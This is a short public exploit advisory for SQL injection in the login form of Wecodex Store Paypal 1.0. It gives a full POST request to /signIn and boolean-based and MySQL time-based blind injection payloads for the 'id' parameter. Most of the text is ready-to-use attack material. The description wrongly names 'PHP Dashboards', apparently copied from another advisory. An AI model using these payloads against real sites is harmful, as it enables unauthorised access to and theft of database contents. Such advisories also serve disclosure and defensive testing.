Wecodex Store Paypal 1.0 - SQL Injection

# Exploit Title: Wecodex Store Paypal 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://www.wecodex.com/item/view/online-store-system-with-paypal-sdk-in-php/9
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target

https://Target/signIn

POST /signIn HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://Target/login
Content-Length: 23
Cookie: PHPSESSID=j89q1i6r4i1juosmihns9c1jo2
Connection: keep-alive
id=admin&password=12345


# Vulnerable Payload :
# Parameter: id (POST)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: 

id=admin' AND 9071=9071 AND 'gneN'='gneN&password=12345

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 OR time-based blind
# Payload: 

id=admin' OR SLEEP(5) AND 'gXNU'='gXNU&password=12345